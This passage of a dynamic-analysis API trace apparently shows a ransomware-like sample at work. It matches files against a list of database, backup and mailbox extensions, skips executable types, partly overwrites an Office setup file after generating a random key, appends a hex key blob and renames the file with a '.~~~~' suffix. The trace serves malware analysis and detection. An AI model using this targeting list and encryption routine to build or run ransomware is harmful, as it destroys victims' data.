	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".MYD") returned 0x0
	[0080.737] lstrlenW (lpString=".DBT") returned 4
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".DBT") returned 0x0
	[0080.737] lstrlenW (lpString=".ACCDB") returned 6
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".ACCDB") returned 0x0
	[0080.737] lstrlenW (lpString=".fdb") returned 4
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".fdb") returned 0x0
	[0080.737] lstrlenW (lpString=".bak") returned 4
	[0080.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".bak") returned 0x0
	[0080.738] lstrlenW (lpString=".myd") returned 4
	[0080.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".myd") returned 0x0
	[0080.738] lstrlenW (lpString=".DTXS") returned 5
	[0080.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".DTXS") returned 0x0
	[0080.738] lstrlenW (lpString=".ckp") returned 4
	[0080.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".ckp") returned 0x0
	[0080.738] lstrlenW (lpString=".dbt") returned 4
	[0080.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".dbt") returned 0x0
	[0080.738] lstrlenW (lpString=".db") returned 3
	[0080.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".db") returned 0x0
	[0080.738] lstrlenW (lpString=".TXT") returned 4
	[0080.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".TXT") returned 0x0
	[0080.738] lstrlenW (lpString=".MDF") returned 4
	[0080.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".MDF") returned 0x0
	[0080.738] lstrlenW (lpString=".bdb") returned 4
	[0080.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".bdb") returned 0x0
	[0080.738] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0080.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.738] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0080.739] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.739] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0080.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.739] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20072947422) returned 1
	[0080.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x99fae9f0, dwHighDateTime=0x1d60e1e)) 
	[0080.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0080.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0080.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0080.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccc48
	[0080.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccc48 | out: hHeap=0x300000) returned 1
	[0080.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.740] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0080.740] GetLastError () returned 0x0
	[0080.740] GetLastError () returned 0x0
	[0080.740] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0080.740] GetLastError () returned 0x0
	[0080.740] GetLastError () returned 0x0
	[0080.741] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.744] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.745] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0080.746] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.747] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.749] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.749] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.749] CloseHandle (hObject=0x120) returned 1
	[0080.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0080.749] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe.~~~~")) returned 1
	[0080.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0080.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0080.750] GetLastError () returned 0x0
	[0080.750] RtlWakeConditionVariable () returned 0x365f70
	[0080.750] GetCurrentThreadId () returned 0x9f4
	[0080.750] GetCurrentThreadId () returned 0x9f4
	[0080.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x28019e0
	[0080.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d240 | out: hHeap=0x300000) returned 1
	[0080.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bd98 | out: hHeap=0x300000) returned 1
	[0080.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801ac8
	[0080.751] lstrlenW (lpString=".scr") returned 4
	[0080.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".scr") returned 0x0
	[0080.751] lstrlenW (lpString=".cmd") returned 4
	[0080.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".cmd") returned 0x0
	[0080.751] lstrlenW (lpString=".dll") returned 4
	[0080.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".dll") returned 0x0
	[0080.751] lstrlenW (lpString=".bat") returned 4
	[0080.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".bat") returned 0x0
	[0080.751] lstrlenW (lpString=".cpl") returned 4
	[0080.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".cpl") returned 0x0
	[0080.751] lstrlenW (lpString=".sys") returned 4
	[0080.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".sys") returned 0x0
	[0080.751] lstrlenW (lpString=".msc") returned 4
	[0080.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".msc") returned 0x0
	[0080.751] lstrlenW (lpString=".com") returned 4
	[0080.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".com") returned 0x0
	[0080.751] lstrlenW (lpString=".lnk") returned 4
	[0080.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".lnk") returned 0x0
	[0080.751] lstrlenW (lpString=".msp") returned 4
	[0080.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".msp") returned 0x0
	[0080.752] lstrlenW (lpString=".pif") returned 4
	[0080.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".pif") returned 0x0
	[0080.752] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0080.752] lstrlenW (lpString=".sqb") returned 4
	[0080.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".sqb") returned 0x0
	[0080.752] lstrlenW (lpString=".ost") returned 4
	[0080.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".ost") returned 0x0
	[0080.752] lstrlenW (lpString=".txt") returned 4
	[0080.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".txt") returned 0x0
	[0080.752] lstrlenW (lpString=".mdt") returned 4
	[0080.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".mdt") returned 0x0
	[0080.752] lstrlenW (lpString=".BDB") returned 4
	[0080.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".BDB") returned 0x0
	[0080.752] lstrlenW (lpString=".eql") returned 4
	[0080.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".eql") returned 0x0
	[0080.752] lstrlenW (lpString=".DBF") returned 4
	[0080.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".DBF") returned 0x0
	[0080.752] lstrlenW (lpString=".EQL") returned 4
	[0080.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".EQL") returned 0x0
	[0080.752] lstrlenW (lpString=".FDB") returned 4
	[0080.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".FDB") returned 0x0
	[0080.753] lstrlenW (lpString=".EDB") returned 4
	[0080.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".EDB") returned 0x0
	[0080.753] lstrlenW (lpString=".DACPAC") returned 7
	[0080.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".DACPAC") returned 0x0
	[0080.753] lstrlenW (lpString=".VHD") returned 4
	[0080.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".VHD") returned 0x0
	[0080.753] lstrlenW (lpString=".DBV") returned 4
	[0080.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".DBV") returned 0x0
	[0080.753] lstrlenW (lpString=".dacpac") returned 7
	[0080.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".dacpac") returned 0x0
	[0080.753] lstrlenW (lpString=".sdf") returned 4
	[0080.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".sdf") returned 0x0
	[0080.753] lstrlenW (lpString=".accdb") returned 6
	[0080.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".accdb") returned 0x0
	[0080.753] lstrlenW (lpString=".DBX") returned 4
	[0080.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".DBX") returned 0x0
	[0080.753] lstrlenW (lpString=".MDT") returned 4
	[0080.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".MDT") returned 0x0
	[0080.753] lstrlenW (lpString=".SQB") returned 4
	[0080.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".SQB") returned 0x0
	[0080.753] lstrlenW (lpString=".vhd") returned 4
	[0080.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".vhd") returned 0x0
	[0080.753] lstrlenW (lpString=".bac") returned 4
	[0080.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".bac") returned 0x0
	[0080.754] lstrlenW (lpString=".mdf") returned 4
	[0080.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".mdf") returned 0x0
	[0080.754] lstrlenW (lpString=".BAK") returned 4
	[0080.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".BAK") returned 0x0
	[0080.754] lstrlenW (lpString=".BAC") returned 4
	[0080.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".BAC") returned 0x0
	[0080.754] lstrlenW (lpString=".dbs") returned 4
	[0080.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".dbs") returned 0x0
	[0080.754] lstrlenW (lpString=".vhdx") returned 5
	[0080.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".vhdx") returned 0x0
	[0080.754] lstrlenW (lpString=".NDF") returned 4
	[0080.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".NDF") returned 0x0
	[0080.754] lstrlenW (lpString=".dat") returned 4
	[0080.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".dat") returned 0x0
	[0080.754] lstrlenW (lpString=".DBS") returned 4
	[0080.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".DBS") returned 0x0
	[0080.754] lstrlenW (lpString=".CKP") returned 4
	[0080.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".CKP") returned 0x0
	[0080.754] lstrlenW (lpString=".edb") returned 4
	[0080.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".edb") returned 0x0
	[0080.754] lstrlenW (lpString=".PST") returned 4
	[0080.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".PST") returned 0x0
	[0080.755] lstrlenW (lpString=".dbf") returned 4
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".dbf") returned 0x0
	[0080.755] lstrlenW (lpString=".SQL") returned 4
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".SQL") returned 0x0
	[0080.755] lstrlenW (lpString=".pst") returned 4
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".pst") returned 0x0
	[0080.755] lstrlenW (lpString=".dbv") returned 4
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".dbv") returned 0x0
	[0080.755] lstrlenW (lpString=".SDF") returned 4
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".SDF") returned 0x0
	[0080.755] lstrlenW (lpString=".dtxs") returned 5
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".dtxs") returned 0x0
	[0080.755] lstrlenW (lpString=".db3") returned 4
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".db3") returned 0x0
	[0080.755] lstrlenW (lpString=".OST") returned 4
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".OST") returned 0x0
	[0080.755] lstrlenW (lpString=".dbx") returned 4
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".dbx") returned 0x0
	[0080.755] lstrlenW (lpString=".DB3") returned 4
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".DB3") returned 0x0
	[0080.755] lstrlenW (lpString=".DAT") returned 4
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".DAT") returned 0x0
	[0080.755] lstrlenW (lpString=".VHDX") returned 5
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".VHDX") returned 0x0
	[0080.755] lstrlenW (lpString=".ndf") returned 4
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".ndf") returned 0x0
	[0080.755] lstrlenW (lpString=".DB") returned 3
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".DB") returned 0x0
	[0080.755] lstrlenW (lpString=".sql") returned 4
	[0080.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".sql") returned 0x0
	[0080.756] lstrlenW (lpString=".MYD") returned 4
	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".MYD") returned 0x0
	[0080.756] lstrlenW (lpString=".DBT") returned 4
	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".DBT") returned 0x0
	[0080.756] lstrlenW (lpString=".ACCDB") returned 6
	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".ACCDB") returned 0x0
	[0080.756] lstrlenW (lpString=".fdb") returned 4
	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".fdb") returned 0x0
	[0080.756] lstrlenW (lpString=".bak") returned 4
	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".bak") returned 0x0
	[0080.756] lstrlenW (lpString=".myd") returned 4
	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".myd") returned 0x0
	[0080.756] lstrlenW (lpString=".DTXS") returned 5
	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".DTXS") returned 0x0
	[0080.756] lstrlenW (lpString=".ckp") returned 4
	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".ckp") returned 0x0
	[0080.756] lstrlenW (lpString=".dbt") returned 4
	[0080.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", lpSrch=".dbt") returned 0x0
	[0080.756] lstrlenW (lpString=".db") returned 3
